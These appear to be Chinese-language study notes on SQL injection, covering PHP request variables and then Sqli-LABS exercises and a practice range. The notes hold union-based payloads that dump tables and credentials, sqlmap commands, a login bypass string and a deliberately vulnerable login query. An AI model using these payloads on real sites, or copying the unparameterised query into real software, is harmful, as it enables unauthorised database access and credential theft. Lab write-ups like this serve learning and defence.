先附上一段PHP代码,了解一下基本原理
header("Content-Type: text/html; charset=utf-8");
$get=$_GET['g'];
$post=$_POST['p'];
$cookie=$_COOKIE['c'];
$request=$_REQUEST['r'];
$host=$_SERVER['HTTP_HOST'];
$user_agent=$_SERVER["HTTP_USER_AGENT"];
$ip=$_SERVER["HTTP_X_FORWARDED_FOR"];
echo $get."
";
echo $post."
";
echo $cookie."
";
echo $request."
";
echo $host."
";
echo $user_agent."
";
echo $ip;
?>
1.$get=$_GET['g']; //接受GET传递的值赋值给变量
2.$post=$_POST['p']; //接受POST传递的值赋值给变量
3.$cookie=$_COOKIE['c']; //接受COOKIE传递的值赋值给变量
4.$request=$_REQUEST['r']; //全部接受或部分传递的值赋值给变量
php中$_REQUEST、$_POST、$_GET的区别:https://www.cnblogs.com/angel648/p/11059220.html
数据传输讲究数据传输的方式
$_REQUEST["参数"]具用$_POST["参数"] $_GET["参数"]的功能,但是$_REQUEST["参数"]比较慢
通过post和get方法提交的所有数据都可以通过$_REQUEST数组["参数"]获得
5.$host=$_SERVER['HTTP_HOST']; //接受访问数据包中的host值赋值给变量
6.$user_agent=$_SERVER["HTTP_USER_AGENT"]; //接受访问数据包中的浏览器信息值赋值给变量
7.$ip=$_SERVER["HTTP_X_FORWARDED_FOR"]; //接受访问数据包中的IP数据信息值赋值给变量
利用应用场景-提交方式&接受信息
场景1:常见登录数据请求方法
场景2:常见访问者来源IP判断
场景3:常见访问者浏览器信息判断
参考:https://www.w3school.com.cn/php/php_superglobals.asp
https://www.cnblogs.com/lushaoyan/p/11088213.html
https://www.cnblogs.com/zhao-/p/10994615.html
这里使用的Sqli-LABS靶场Less-11,打开是一个登陆界面,在登录框admin后面加单引号把它带入数据库让它报错
然后直接联合查询测试
admin%27 and 1=2 union select database(),version()
database() //查看数据库
version() //查看版本
爆表:admin' and 1=2 union select 1,group_concat(table_name) from
information_schema.tables where table_schema='security' --+
表:emails,referers,uagents,users
爆列名:admin' and 1=2 union select 1,group_concat(column_name) from
information_schema.columns where table_name='users' --+
列名:user_id,first_name,last_name,user,password,
avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,
TOTAL_CONNECTIONS,id,username,password
爆数据:admin' and 1=2 union select 1,group_concat(username,password) from users --+
python sqlmap.py -u “http://sqli-labs-master:100/Less-11/index.php” --data “uname=123&passwd=213&submit=Submit”
python sqlmap.py -u “http://sqli-labs-master:100/Less-11/index.php” --data “uname=123&passwd=213&submit=Submit” --current-db
python sqlmap.py -r post.txt
python sqlmap.py -r post.txt --current-db
那么post请求数据包注入的优点就是它会根据你burp抓包的真实数据来进行注入 --data的话就是自带sqlmap的请求数据包
漏洞代码
$user = $_POST[ 'username' ]; //接受用户输入的账号
$pass = $_POST[ 'password' ]; //接受用户输入的密码
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
如果让用户传递数据 $user = ’ or ‘1’='1
sql语句就变成
SELECT * FROM `users` WHERE user = ' ' or '1'='1' AND password = '$pass';
那么 and_真和真=真 真和假=假 or_真或真=真 真或假=真
这里 ‘1’=‘1’ 为真 就构成了一个永真 ,or永远为真 后面再构造一个#注释掉 and后面的就变成
SELECT * FROM users
WHERE user = ’ ’ or ‘1’=‘1’ # //真 就能进入后台
这里使用的Sqli-LABS靶场Less-18,注入点在UA头上,但是尝试在X-Forwarded-For上修改ip没有反应说明不存在注入
那么抓包在UA头上输入单引号看有报错说明带入了数据库,存在注入
参考:https://blog.csdn.net/devilare/article/details/112764661
由于考虑要用报错注入,我直接丢sqlmap一把梭
python sqlmap.py -r UA.txt --level 3 --current-db
这里用的是掌控安全的靶场,环境可能是Access数据库+Asp脚本语言的组合
靶场:http://59.63.200.79:8004/
那么把后面的参数去掉,数据库报错说明存在注入
直接order by 10 正常,说明存在10列,这里经过测试一般的注入参数被过滤,只有尝试cookie注入,使用工具ModHeader
存在admin表,爆字段 id=172+union+select+1,password,username,4,5,6,7,8,9,10+from+admin